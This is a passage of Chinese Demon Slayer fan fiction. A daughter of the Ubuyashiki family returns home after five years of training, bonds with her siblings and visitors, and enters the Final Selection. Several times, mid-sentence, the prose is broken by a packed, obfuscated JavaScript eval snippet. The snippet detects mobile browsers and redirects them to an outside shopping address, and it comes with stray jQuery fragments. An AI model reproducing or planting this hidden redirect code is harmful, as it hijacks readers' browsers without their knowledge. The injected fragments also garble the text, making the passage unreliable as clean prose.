“娘亲!姐姐会下雪!” “娘亲!姐姐像仙女!” 天音笑着走过来,在廊下坐下。她朝五个孩子招招手,他们就乖乖地跑过去,围坐在她身边。 雪萤收刀入鞘,走过去,在她面前站定。 “娘亲。” 天音抬起头,看着她。 阳光里,这个十三岁的少女站在她面前。深蓝色的长发微微汗湿,几缕贴在额角和脸颊上,衬得那张脸越发白皙。她的眼睛亮亮的,里面有光。她的身板挺得笔直,像一棵刚刚长成的小树,已经有了自己的风骨。 天音看着她,目光温柔。 “雪萤,”她轻声说,“这五年,很辛苦吧?” 雪萤愣了一下。 然后她笑了。 那笑容,和小时候一样,眼睛弯成两道月牙,暖暖的,亮亮的。可那笑容里,又多了些什么——是五年风雪磨出来的沉稳,是无数次跌倒又爬起后的坚定。 “没关系,娘亲。”她说,声音清亮亮的,像山间的泉水,又像早春的第一声鸟鸣,“辛苦,但是非常充足。” 天音看着她。 “因为——”雪萤顿了顿,看了一眼身边那五个小小的身影,又抬起头,望着天音,“因为一想到可以有力量保护大家,我的内心就非常充盈。已经被填满了呢。” 她说这话的时候,眼睛亮得惊人。 那光里,有坚定,有温柔,也有一种让人安心的力量。 天音看着她,眼眶微微有些热,可她只是轻轻眨了眨眼,把那点热意压了下去。她伸出手,轻轻抚过雪萤的脸。 “我的雪萤,”她说,声音还是那么温柔,“长大了。” 雪萤握住她的手,贴在脸上。 “娘亲,”她说,“以后,换我保护你。” —— 五个孩子看着这一幕,都安静下来。 辉利哉的鼻子酸酸的,可他忍着,不肯让眼泪掉下来。雏衣和日香靠在一起,眼睛红红的。彼方难得没有说话,只是紧紧拉着杭奈的手。 杭奈站在最边上,看看娘亲,又看看姐姐,忽然开口,声音奶声奶气的: “姐姐,杭奈长大了,也保护你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444159|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雪萤愣了一下,然后笑了。 她松开天音的手,蹲下来,把杭奈抱进怀里。 “好。”她说,“我们一起保护大家。” 其他四个孩子也扑过来,把她团团围住。 辉利哉站在最外面,想扑又不好意思扑,最后还是雏衣拉了他一把,把他拽进人堆里。 五个孩子挤在雪萤身边,叽叽喳喳地说着: “我也要保护姐姐!” “我保护两个!” “我保护三个!” 雪萤被他们挤得东倒西歪,可她在笑。 笑得那么开心,那么满足。 —— 檐下,耀哉站在那里,看着这一幕。 他的脸上,红色的纹路比五年前又深了许多。那纹路从额头蔓延下来,在阳光下显得格外清晰。他的眼睛深处,偶尔会闪过一丝疲惫,那是诅咒在侵蚀他身体的痕迹。 可他站在那里,背挺得笔直。 他看着那个十三岁的少女——他的长女——被五个孩子围在中间,笑得那么开心。 看着她握着刀的样子,看着她挥刀时的专注,看着她被夸奖时脸红的样子,看着她对天音说“以后换我保护你”时的坚定。 看着她从一个小小的、圆滚滚的孩子,长成现在这副模样。 深蓝色的长发如瀑,蓝紫色的眼睛如星,白皙的皮肤如雪,纤细的身姿如柳。明明还是个少女,可那眉宇间,已经隐隐有了几分大人模样。 他的嘴角,浮起一丝微笑。 那微笑里,有欣慰,有骄傲,也有一种很深很深的——满足。 五年了。 他每天都在想她。 想她在雪山上冷不冷,想她练功累不累,想她会不会哭,想她什么时候能回来。 现在她回来了。 她长大了。 她长成了他想象中最美好的样子。 —— 雪萤忽然抬起头,望向檐下。 她看见了耀哉。 父女俩的目光在空中相遇。 雪萤笑了。那笑容,和刚才不一样。不是对弟弟妹妹们的宠溺的笑,不是对娘亲的温柔的笑,而是一种更深的、更暖的笑。 她轻轻松开弟弟妹妹们,站起来,朝他走过去。 走到他面前,她停下来。 “爹爹。” 耀哉看着她。 阳光里,她站在他面前,仰着脸。那双蓝紫色的眼睛望着他,里面有光,有笑,有浅浅的水光。睫毛上好像沾着什么,亮晶晶的。 他伸出手,像小时候一样,轻轻揉了揉她的发顶。 掌心里的头发,又软又滑,带着阳光的温度。 “雪萤,”他说,声音还是那么温柔,“你是爹爹的骄傲。” 雪萤的眼眶一下子红了。 她扑进他怀里,抱住他。 “爹爹,”她把脸埋在他怀里,声音闷闷的,带着一点点鼻音,“雪萤好想你。” 耀哉抱着她,轻轻拍着她的背。 —— 身后,五个小尾巴也跑过来了。 他们围在耀哉和雪萤身边,叽叽喳喳地说着。 “爹爹!姐姐刚才好厉害!” “爹爹!姐姐会下雪!” “爹爹!姐姐说以后保护我们!” 耀哉低头看着他们,又看看怀里的雪萤,嘴角的笑意更深了。 他被五个孩子和长女围着,被叽叽喳喳的声音包围着。 可他一点都不觉得吵。 只觉得心里,满满的。 被填满了。 —— 阳光暖暖地照着。 梅树的枝头,那几朵花苞,终于绽开了一点点。 春天,快要来了。 20. 选拔要开始了 雪萤回家后的第五天,终于有机会好好观察这五个弟弟妹妹。 说是“好好观察”,其实不用她特意去看——他们每天都像小尾巴一样跟在她身后,想不注意都难。 那天下午,她在廊下坐着休息,五个孩子就在院子里玩耍。 阳光暖暖的照着,院子里的积雪已经化了大半,露出底下青灰色的石板。梅树的枝头绽出几朵粉白的花苞,空气里飘着淡淡的香气。 雪萤托着腮,看着他们。 辉利哉站在院子中央,四个妹妹围在他身边。 “我们来玩‘守城’。”辉利哉说,声音清亮。 雏衣歪着头问:“怎么玩呀?” “我来当守城的人,你们四个攻城。”辉利哉指着院子角落那棵梅树,“那就是城。你们要想办法碰到树干,碰到了就算赢。我要拦住你们。” 四个妹妹听着,眼睛都亮了起来。 “好!”她们齐声应道。 游戏开始了。 雏衣从左边冲过去,跑得飞快。日香和彼方从右边冲过去,日香在前,彼方在后。杭奈在中间,迈着小短腿慢慢走。 辉利哉站在中央,左看看,右看看。 然后他忽然笑了。 “雏衣,你要装摔倒了吧?” 雏衣正跑到一半,闻言脚下一顿,差点真摔了。 “你……你怎么知道?”她瞪大眼睛。 辉利哉没回答,转身朝右边跑了两步,日香和彼方吓得赶紧停下。可他又立刻转身,朝左边跑回去,雏衣还没来得及站起来,就被他拦住了。 “日香,你一会儿会趁我去追彼方的时候冲过来。”他一边拦雏衣一边说,“彼方,你会故意跑慢,让日香先冲。” 日香和彼方对视一眼,都愣住了。 辉利哉放开雏衣,走到中间,把慢慢走过来的杭奈轻轻抱起来。 “杭奈最聪明,一直在慢慢走,等着我去拦别人的时候偷偷过去。对不对?” 杭奈眨眨眼睛说:“辉利哉好厉害。” 辉利哉把她放下来,揉了揉她的头。 “你们都厉害。”他说,“下次换一种方法,说不定就能赢我了。” 四个妹妹围在他身边,七嘴八舌地说: “你怎么知道的呀?” “你猜的也太准了吧!” “再来一次再来一次!” 辉利哉摇摇头,笑着说:“今天不玩了,姐姐在看我们呢。” 五个孩子一起转过头,看向廊下。 雪萤坐在那里,正托着腮看着他们。 她笑了。 —— 游戏结束后,几个孩子跑回廊下,围坐在雪萤身边。 “姐姐,”彼方叽叽喳喳地说,“你知道吗,辉利哉可厉害了,他还会画画!” 日香点头:“对呀对呀,他画了好多好多画!” 雏衣说:“姐姐,你要看吗?” 雪萤看向辉利哉。 辉利哉的脸微微有些红,可他点了点头。 “我……我去拿。” 他跑回屋里,过了一会儿,抱着一叠纸出来。 那些纸有大有小,有的已经微微泛黄,看得出是攒了很久的。他小心翼翼地放在雪萤面前,然后退后一步,等着她看。 雪萤低下头,一张一张翻看。 有画的梅树,有画的院子,有画的天音坐在廊下的样子,有画的耀哉在书房里写字的样子。还有画的五个孩子一起玩耍的样子,虽然歪歪扭扭,可一眼就能认出哪个是哪个。 每一张的角落,都歪歪扭扭地写着一个“辉”字。 “这些都是你画的?”雪萤问。 辉利哉点点头。 雪萤翻到最后一张,忽然愣住了。 那是一张人像。 画上的少女站在雪地里,深蓝色的长发被风吹起,几缕飘在脸侧。她的眼睛是蓝紫色的,像藏着星星。她的嘴角微微上扬,带着浅浅的笑。她的手里握着一把刀,刀身细长,泛着淡淡的蓝光。 她的身后,是一座雪山。 雪萤看着那张画,半天说不出话来。 那画里的人,是她。 那眉眼,那笑容,那把刀,那座山——每一个细节,都画得那么像,那么逼真。 “这是……”她的声音有些哑。 辉利哉低着头,小声说:“是姐姐。” “我……”他顿了顿,声音更小了,“我想姐姐的时候,就画。画了好多张,这张是最好看的。我想等姐姐回来,送给姐姐。” 雪萤的眼眶一下子红了。 她伸出手,把辉利哉拉进怀里,紧紧抱住。 “辉利哉,”她说,声音有点抖,“谢谢你。” 辉利哉被抱得有点懵,可他没有挣开,只是把脸埋在她怀里,小声说: “姐姐喜欢就好。” 旁边四个妹妹看着,也挤过来。 “姐姐,我也要抱!” “我也要!” “我也要!” 雪萤笑着,把她们一个个都拉进怀里。 五个孩子挤在她身边,叽叽喳喳地说着话。 阳光暖暖的照着。 —— 那天晚上,雪萤去书房找耀哉。 耀哉正在灯下看文书,听见脚步声,抬起头来。 “雪萤?”他放下笔,“这么晚了,怎么还不睡?” 雪萤走过去,在他面前坐下。 “爹爹,”她说,“我想跟你说说话。” 耀哉看着她。 烛光里,十三岁的少女端端正正的坐着,深蓝色的长发披散在肩上,衬得那张脸越发白皙。 “好。”他说,“你说。” 雪萤想了想,开口说: “爹爹,我今天看辉利哉和妹妹们玩了。” 耀哉的眉毛微微挑了一下。 “他好聪明。”雪萤说,眼睛亮亮的,“他们玩守城游戏,他一个人拦四个妹妹。雏衣假装摔倒,他一眼就看出来了。日香和彼方的配合,他也提前猜到了。连杭奈慢慢走、等着偷袭,他都知道。” 她说着,声音里带着藏不住的骄傲。 “他才五岁,就知道分析每个人的行动,预判接下来会发生什么。” 耀哉听着,嘴角浮起一丝笑意。 “还有,”雪萤继续说,“他会画画。他画了好多好多画,画了院子,画了梅树,画了娘亲,还画了爹爹。最新那张,是画的我。” 她顿了顿,声音轻了一点: “画得……比我本人还好看。” 耀哉笑了。 “那孩子,”他说,“从小就爱画。他会天天问我,姐姐什么时候回来。我说快了,他就说,那我画姐姐,画到姐姐回来为止。” 雪萤的眼眶热了一下。 “爹爹,”她说,“辉利哉好厉害。雏衣、日香、彼方、杭奈,她们也都好可爱。我会保护好他们的。” 耀哉看着她。 烛光里,他的长女坐在他面前,脊背挺得笔直,眼睛里有一种坚定的光。 他沉默了一会儿,然后开口: “雪萤,对不起。” 雪萤愣住了,为什么要道歉? “爹爹?” 耀哉看着她,目光温柔,却带着一点沉重。 “如果是普通人家,”他说,“孩子们可以无忧无虑地长大,不用背负什么。可产屋敷家的孩子,不一样。” 雪萤静静的听着。 “辉利哉是男孩,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444160|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产屋敷家的继承人。”耀哉的声音很轻,“产屋敷家的诅咒,只落在男孩身上。每一代当主,都活不过三十岁。这是无惨留给我们的,逃不掉的命运。” 雪萤的手微微攥紧。 “女孩子会好一些。”耀哉继续说,“她们嫁出去后,可以脱离产屋敷这个姓,可以摆脱这个诅咒。雏衣她们,将来有机会过普通人的日子。” 他顿了顿,看着雪萤。 “可你不一样。你是长女,你身上流着产屋敷的血,也和这个诅咒绑在一起。只是不像男孩那样,必须承担当主的责任。” 雪萤沉默着。 “辉利哉将来要接替我的位置,要承担起整个鬼杀队,要和那个东西战斗到底。他躲不掉,也不能躲。” 耀哉的声音里,有一丝她从未听过的东西。 那是心疼。 是一个父亲对儿子的心疼。 雪萤的眼眶热了。 她抬起头,看着耀哉。 “那就让诅咒,在我们这一代结束吧。” 她的声音很轻,可那轻里,有一种让人无法忽视的力量。 耀哉愣住了。 雪萤看着他,一字一句地说: “爹爹,我会变强。强到能把无惨杀死。强到能让辉利哉不用背负这些。强到能让弟弟妹妹们,都过上普通人的日子。” 她顿了顿,声音更坚定了: “一定会的。” 耀哉看着她,看了很久很久。 然后他笑了。 那笑容里,有欣慰,有骄傲,也有很深很深的心疼。 “好。”他说,“爹爹信你。” --- 沉默了一会儿,耀哉开口: “雪萤。” “嗯?” “藤袭山的最终选拔,要开始了。” 雪萤的眼睛一下子亮了。 “真的?” 耀哉点点头。 “各地培育师举荐的弟子已经报上来了,其中包括冰室老师。七天之后,他们会进藤袭山。你要去吗?” 雪萤站起来。 “去。” 她的声音很轻,可那轻里,有一种不容置疑的坚定。 耀哉看着她。 烛光里,十三岁的少女站在那里,脊背挺得笔直。深蓝色的长发垂在肩后,几缕碎发落在脸侧。她的眼睛亮亮的,像是燃着一团火。 那光里,有五年的风雪,有一千八百多个日夜的汗水,有无数次跌倒又爬起后的坚持。 五年来,她无时无刻不在准备着。 准备着这一刻。 耀哉看着她,忽然想起很多年前。 想起她刚出生时,小小的,软软的,躺在他怀里。 想起她第一次叫“爹爹”时,眼睛亮亮的,笑得那么开心。 想起她躲在门后偷看他时,自以为藏得很好,其实裙角露在外面。 想起她说“爹爹好累,雪萤要快快长大”时,一脸认真的样子。 想起她站在门口,回头看他,然后转身走进风雪里。 那个小小的身影,一步一步,走进了雪山,走进了五年漫长的时光。 现在,她回来了。 站在他面前,像一棵长成的小树。 她要去藤袭山了。 要去面对那些她曾经最害怕的东西。 可她不怕了。 因为他看见,她的眼睛里,只有光。 他看着她,眼里满是笑意。 “雪萤,”他说,“爹爹等你回来。” 雪萤看着他,用力点了点头。 “嗯。” —— 窗外,月光静静的照着。 梅树的枝头,那几朵花苞,已经绽开了一半。 21. 小公主以后一定是个好妻子 雪萤回家后的第七天,家里来了第一位客人。 那天早晨,她正在院子里练刀。五个小尾巴依旧坐在廊下,排成一排,托着腮看她。阳光照在他们身上,暖洋洋的。 雪萤收刀,转过身。 院门口,站着一个高大的身影。 灰色的僧袍,闭着的双眼,长长的疤痕,手里拄着那根熟悉的杖。 悲鸣屿行冥。 他就站在那里,一动不动,像一座山。 雪萤愣了一下。 然后她笑了。 她收刀入鞘,快步走过去,在他面前站定。 “悲鸣屿先生。” 悲鸣屿低下头——虽然他看不见,可他“看”着她。 五年了。 那个小小的、只到他腰高的孩子,现在站在他面前。 他听见她的呼吸,轻轻的,稳的。他感觉到她身上散发出来的气息,不再是当年那种软软的、需要人保护的感觉。那是一种……像雪一样,清冷又坚韧的气息。 他沉默了很久。 然后他从怀里,掏出一样东西。 一块小手帕。 浅蓝色的,角上绣着一朵小小的雪花。叠得整整齐齐的。 “你还记得这个吗?”悲鸣屿的声音低沉,像远处的雷声。 雪萤看了一眼,点点头。 “记得。是我五年前给您的。” 悲鸣屿把那块手帕贴在脸上。 “贫僧一直带着。”他说,“每次哭的时候,就用它擦。” 雪萤看着他。 “您还是喜欢哭。” 悲鸣屿点点头。 “哭。经常哭。”他说,“为那些死去的人哭,为那些救不了的人哭,为自己什么都做不了的时候哭。” 他顿了顿。 “可每次用这块手帕擦眼泪的时候,贫僧就会想起你。” 雪萤静静的听着。 “想起一个四岁的孩子,握着贫僧的手,说‘不要怕’。”悲鸣屿的声音有些哑,“想起她给贫僧带路,一步一回头的走得很慢。想起她把这块手帕塞进贫僧手里,说‘哭多了眼睛会疼’。” 他的眼泪流了下来。 “贫僧那时候想,原来孩子,也不是都会说谎的。” 雪萤看着他流满泪水的脸,目光平静。 “悲鸣屿先生,”她说,“雪萤长大了。” 悲鸣屿点点头。 “长大了。”他说。 雪萤笑了。 “您还是老样子。” 廊下,五个小尾巴挤在一起,看着这一幕。 雏衣小声说:“那个叔叔好高啊。” 日香说:“他怎么哭了?” 彼方说:“姐姐牵着他呢。” 辉利哉没有说话,只是静静的看着。 杭奈最小,仰着小脸,奶声奶气的说:“那个叔叔,哭得好伤心。” 雪萤听见了,回头看了他们一眼。 然后她转回头,看着悲鸣屿。 “悲鸣屿先生,那是我的弟弟妹妹们。辉利哉,雏衣,日香,彼方,杭奈。” 悲鸣屿朝那个方向“看”了一眼。 他听见五个小小的呼吸声,轻轻的,软软的。 他忽然想起五年前,第一次见雪萤的时候。 那时候,她也这么小。 他弯下腰,朝那个方向轻轻点了点头。 “贫僧悲鸣屿行冥。是你们姐姐的朋友。” 五个孩子面面相觑。 然后辉利哉站起来,端端正正的朝他行了一礼。 “悲鸣屿先生好。” 四个妹妹也跟着站起来,有样学样的行礼。 “叔叔好。” 悲鸣屿的眼泪又流了下来。 雪萤看着,嘴角微微扬起。 “悲鸣屿先生,您还是这样。” 悲鸣屿用手帕擦了擦眼泪。 “改不掉了。”他说。 —— 那天上午,悲鸣屿在产屋敷家坐了很久。 雪萤陪着他,在廊下说话。 说这五年在雪山上发生的事。说凿冰取水,说背柴攀峰,说雪中静坐,说听雪,说触冰,说斩雪,说削冰成刃,说那些刀法,说师父冰室雪乃。 悲鸣屿静静的听着,偶尔点点头。 听到她说差点死在雪崩里的时候,他的眼泪又流了下来。 “苦了你了。”他说。 雪萤摇摇头。 “不苦。因为有想保护的人。” 悲鸣屿沉默了一会儿。 然后他说:“你长大了,雪萤。” 雪萤点点头。 “是。长大了。” —— 临近中午,悲鸣屿要走了。 他站起来,把那块小手帕小心的叠好,收回怀里。 雪萤送他到门口。 走到门口,悲鸣屿停下脚步,转过身,“看”着她。 “雪萤。” “嗯?” “藤袭山的选拔,你要去了吧?” 雪萤点点头。 悲鸣屿沉默了一会儿。 然后他说:“贫僧会为你祈福的。” 他用那块手帕擦了擦眼角。 “贫僧每天都会。” 雪萤看着他,目光平静。 “悲鸣屿先生,等我回来。” 悲鸣屿点点头。 然后他转身,拄着杖,一步一步,走进了阳光里。 雪萤站在门口,看着他的背影。 那背影,还是那么高,那么大。 可她不再需要牵他的手了。 因为她已经长大了。 —— 悲鸣屿走后的第二天,家里来了第二位客人。 那天傍晚,雪萤正在屋里陪弟弟妹妹们玩,忽然听见外面传来一个张扬的声音。 “小公主——!哥哥来请客了——!” 雪萤愣了一下,然后笑了。 她站起来,走出门。 院子里,站着一个高大的男人。 深紫色的衣袍,腰间系着金色的带子,额头上缠着镶满宝石的头带。他双手抱胸,嘴角勾着一个大大的笑容,整个人在夕阳里闪闪发光。 宇髄天元。 他看见雪萤,眼睛一下子亮了。 “哟!”他大步走过来,上上下下打量着她,“五年不见,小公主长这么大了?” 雪萤站在那里,任他打量。 夕阳的余晖落在她身上,给她镀上一层柔和的金光。深蓝色的长发披散在肩后,发尾微微卷翘,在晚风里轻轻飘动。那双蓝紫色的眼睛望着他,里面有浅浅的笑意。她穿着素白的衣袍,腰间系着一把刀。站在那里,脊背挺得笔直,像一株雪中生长的白梅。 宇髄看着她,忽然愣了一下。 “喂喂,”他说,“这也太……” 雪萤歪着头:“太什么?” 宇髄回过神来,啧啧两声。 “太犯规了。”他说,“五年前还是个哭鼻子的小丫头,现在长这样,以后不知道要迷死多少人。” 雪萤的嘴角微微扬起。 “天元哥哥,你还是这么会说话。” 宇髄得意地扬了扬下巴。 “那当然。” 话音刚落,他的牙齿闪了一下。 雪萤看着那闪光的牙齿,忍不住笑了。 “走吧,小公主。”他伸出手,“哥哥请客,说到做到。” —— 宇髄带她去的是镇上最好的一家料理店。 雪萤坐在他对面,看着满桌的菜肴,眼睛微微亮了一下。 “天元哥哥,这太多了……” “不多不多。”宇髄摆摆手,“说了请客,就要请得华丽一点。” 他拿起筷子,夹了一块鱼放进她碗里。 “尝尝这个。这家店的招牌。” 雪萤吃了一口,点点头。 “好吃。” 宇髄笑了。 “那就多吃点。你看看你,五年不见,瘦成这样。雪山上的饭很难吃吧?” 雪萤点点头,又摇摇头。 “师父做的饭还行。只是没什么花样。” 宇髄叹了口气。 “可怜的小公主。”他又给她夹了一筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她们都很好。在家等我回去。” 雪萤歪着头:“那你什么时候回去?” 宇髄笑了。 “明天就回去。她们等我太久了,该回去了。” 雪萤点点头。 “那你要对她们好一点。” 宇髄愣了一下。 “我对她们一直很好啊。” 雪萤摇摇头,一脸认真地说:“要更好。她们等你回家,一定很想你。” 宇髄看着她那副认真的小模样,忽然有些感动。 “小公主,”他说,“你以后一定会是个好妻子。” 雪萤的耳根微微红了一下。 “天元哥哥。” 宇髄哈哈大笑。 —— 吃完饭,天已经黑了。 宇髄送她回家。两个人走在夜色里,月光照着,很安静。 走到门口,宇髄停下来。 “小公主。” 雪萤转过身,看着他。 宇髄难得收起了平时的玩世不恭,认真的看着她。 “藤袭山的选拔,要去了吧?” 雪萤点点头。 宇髄沉默了一会儿,然后伸出手,像五年前一样,郑重地拍了拍她的肩膀。 “活着回来。” 雪萤看着他。 月光下,那个张扬的男人,眼睛里有一种认真的光。 她点点头。 “我会的。” 宇髄笑了。 “等你成了柱,”他说,“哥哥再请你吃一顿。更华丽的。” 话音刚落,他的牙齿闪了一下。 雪萤笑了。 “好。一言为定。” 宇髄点点头,转身,大步走进了夜色里。 雪萤站在门口,看着他的背影消失在黑暗中。 然后她转过身,推开门,走进了家。 屋里,灯火通明。 弟弟妹妹们还在等她。 22. 山门初见 藤袭山选拔的那一天,是个晴朗的日子。 阳光从云层缝隙里洒下来,落在山门前那片空地上,照得人身上暖暖的。可那座山,依旧笼罩在灰白色的雾气里,看不清里面的样子。 十五个少男少女站在山门前,等待着。 他们来自不同的地方,跟着不同的培育师修行,经历了不同的训练。可今天,他们都站在这里,面对同一座山,同一个考验。 人群中,有一个身影格外引人注目。 那是一个十三四岁的少女,站在人群偏后的位置,却让人无法忽视她的存在。 深蓝色的长发如瀑布般垂落,在阳光下泛着柔和的光泽,发尾微微卷翘,像是落了一层细碎的星光。几缕碎发被风撩起,轻轻拂过她白皙的脸颊,衬得那肌肤越发剔透,几乎能看见底下隐隐的血管。她的眉眼生得极好,不是那种张扬的漂亮,而是一种沉静的、耐看的美——眉毛细长,微微上扬,带着一点英气;眼窝比寻常人略深,让那双眼睛显得格外深邃。 此刻,那双蓝紫色的眸子正静静地望着山门的方向,目光清澈如泉,又像是藏着山间的薄雾,让人看上一眼就移不开视线。睫毛很长,微微上翘,在她垂眸的瞬间,会在眼睑上投下一小片淡淡的阴影。 她穿着一身素白的衣袍,布料是最寻常的那种,可穿在她身上,却显得格外清雅。腰间系着一把刀——刀身细长,刀柄是月白色的,缠着银色的丝线。风偶尔吹起她的衣摆,露出底下同色的足袋,和一小截白皙的脚踝。 她就那样静静地站着,脊背挺得笔直,像一株在雪中生长的白梅,清冷,安静,却又让人忍不住多看几眼。 周围的目光,一个接一个,落在她身上。 “那是谁?” “好漂亮的姑娘……” “是哪个培育师的弟子?” 有人低声议论着。 那少女却仿佛没有听见,只是静静地站着,望着山门的方向。阳光落在她身上,在她肩头铺开一层薄薄的金色。风吹起她的发丝,又轻轻落下。 --- 人群的另一边,站着两个戴着狐狸面具的少年。 左边的那个,面具是橙红色的,嘴角上扬,像是在笑。面具底下,露出一双明亮的眼睛,此刻正饶有兴致地四处打量着。 右边的那个,面具是靛蓝色的,神情淡漠,看不出喜怒。他的站姿比同伴更僵硬一些,像是有些不自在。 锖兔和富冈义勇。 鳞泷左近次的弟子,一起从狭雾山赶来参加选拔。 “义勇,”锖兔压低声音,“你听说了吗?” 义勇看了他一眼。 “什么?” “今年的选拔,主公的孩子也会参加。” 义勇的眉头微微动了一下。 “主公的孩子?” “对。”锖兔的声音里带着一点兴奋,“听说是主公的长女,跟雪柱学了五年,今天也会进山。” 义勇沉默了一会儿。 “哦。” 锖兔笑了。 “你就‘哦’一声?不想看看长什么样?” 义勇没说话。 锖兔也不在意,继续四处张望着。 --- 旁边有人在交谈。 “听说了吗?今年主公的孩子也会参加。” “真的假的?” “真的真的,我师父说的。” “哪一个?快指给我看!” “笨吗,这都看不出来?”那个声音压低了一点,“和主公长得最像的那个啊!你看那双眼睛,那个气质,一般人能有吗?” 锖兔顺着那人的目光望去。 然后他愣住了。 人群里,站着一个少女。 她穿着素白的衣袍,站在阳光里,整个人像是从画里走出来的一样。深蓝色的长发垂落肩头,在光线下泛着绸缎般的光泽。她的皮肤白得像新雪,透着一点点淡淡的粉,像是上好的白瓷上晕开的一抹胭脂。 可最引人注目的,是她的眉眼。 那双眼睛,是蓝紫色的——不是那种浅淡的蓝紫,而是像傍晚天空与山间雾气交融后凝结成的颜色。当她望向某个方向时,眼神清亮如水;当她垂下眼帘时,又像是蒙上了一层薄薄的雾,让人看不透她在想什么。 她的鼻梁挺秀,唇线分明,嘴角微微抿着,带着一点若有若无的弧度,像是在想什么心事,又像是什么都没想。整张脸组合在一起,说不清哪里特别惊艳,可就是让人移不开眼。 那一瞬间,锖兔想起了很多东西。 想起狭雾山的雪,想起清晨的雾,想起月光落在冰面上的样子。可他想来想去,也没想出该怎么形容她。 似雪,似雾,似远山,似清泉。 他就那样看着,一时忘了收回目光。 “义勇,”他喃喃地说,“你看那边。” 义勇顺着他的目光望去。 然后他也愣住了。 那个少女站在人群里,明明那么安静,却像是一道光,把周围的一切都照亮了。阳光落在她身上,却好像被她吸了进去,又折射出来,带着一种说不清的温柔。 他就那样看着,一动不动。 锖兔回过神来,扭头看了一眼义勇。 然后他笑了。 “哎呀哎呀,”他用胳膊肘捅了捅义勇,“义勇愣住了呢!” 义勇猛地回过神来。 幸好有面具挡着,看不见他的脸。 “……没有。”他说,声音闷闷的。 “没有?”锖兔笑得更开心了,“你眼睛都直了还说没有?” 义勇别过脸去。 “只是……第一次见到这样的人。” 锖兔眨眨眼睛。 “什么样的人?” 义勇沉默了一会儿。 “……像雪。”他低声说,“看不清。” 锖兔愣了一下,然后笑出了声。 “义勇啊义勇,”他拍拍他的肩膀,“你也有今天。” 义勇没理他。 可他的目光,还是忍不住往那个方向飘了一下。 --- 就在这时,山门那边有了动静。 所有人安静下来。 一个身影从山门后走出来,站在众人面前。 产屋敷耀哉。 他穿着深色的衣袍,脸上的红色纹路在阳光下格外清晰。可他的眼睛,还是那么温柔,他的声音,还是那么好听。 “欢迎你们来到这里。” 他的声音不高,可每一个字都清清楚楚地落进每个人耳朵里。 “你们能来到这里,说明你们已经完成了培育师的修行。从今天起,你们将面对真正的考验。” 雪萤站在人群里,听着这个声音。 这个声音,她听了十三年。 小时候,这个声音哄她入睡。长大后,这个声音告诉她“爹爹等你回来”。现在,这个声音在这里,对所有人说着同样的话。 她忽然觉得,很安心。 无论面对什么,只要这个声音在,她就什么都不怕。 —— “藤袭山内,囚禁着鬼杀队多年抓捕的鬼。山脚到半山腰开满紫藤花,那是鬼最厌恶的东西,所以他们无法逃出。” “你们的任务很简单——在里面存活七天。七天后,活着走出山门的人,就算合格。” 耀哉的声音平静如水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444162|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “每年都有很多人进去,每年都有很多人出不来。这就是你们要走的路。” “如果现在有人想退出,可以。门在那里。” 没有人动。 耀哉轻轻点了点头。 “那就去吧。七天后,我在这里等你们。” —— 山门缓缓打开。 灰白色的雾气从里面涌出来,带着一股腐烂的甜腥味。 十五个少男少女,一个接一个,走进了雾里。 雪萤走在人群中,脚步平稳,目光沉静。 她的刀,在腰间轻轻晃动。 五年了。 她等这一天,等了五年。 —— 锖兔和义勇走在后面,看着她走进雾里的背影。 “喂,义勇。”锖兔忽然开口。 “嗯?” “她叫什么名字来着?” 义勇沉默了一会儿。 “……雪萤。”他说,“产屋敷雪萤。” 锖兔笑了。 “你居然知道?” 义勇没说话。 可他的目光,还是望着那个方向。 那个身影,已经消失在雾里了。 --- 雾很浓。 十五个人走进去之后,很快就看不见彼此了。 雪萤一个人走在雾里,脚步很稳。 这里的雾,和天岭山的雾不一样。天岭山的雾是冷的,干净的,带着雪的味道。这里的雾是湿的,腥的,带着腐烂的气息。 可她不怕。 她听。听雾里的动静。听那些沙沙的声音从哪里来。听哪些是风声,哪些是别的什么东西。 她走得很慢,很稳。 每一步,都踩在实地上。 —— 身后忽然传来脚步声。 有人追上来了。 雪萤没有回头。 “喂——等等我——” 一个少年的声音从身后传来。 橙红色面具的少年,从雾里跑出来,站在她面前。 锖兔。 他笑着朝她挥挥手。 “你好,我叫锖兔。鳞泷左近次的弟子。”他指了指身后,“那边还有个闷葫芦,叫义勇,走得慢,一会儿就跟上。” 雪萤看着他。 阳光透过雾气,模模糊糊地照进来。那个少年的眼睛亮亮的,笑容很开朗。 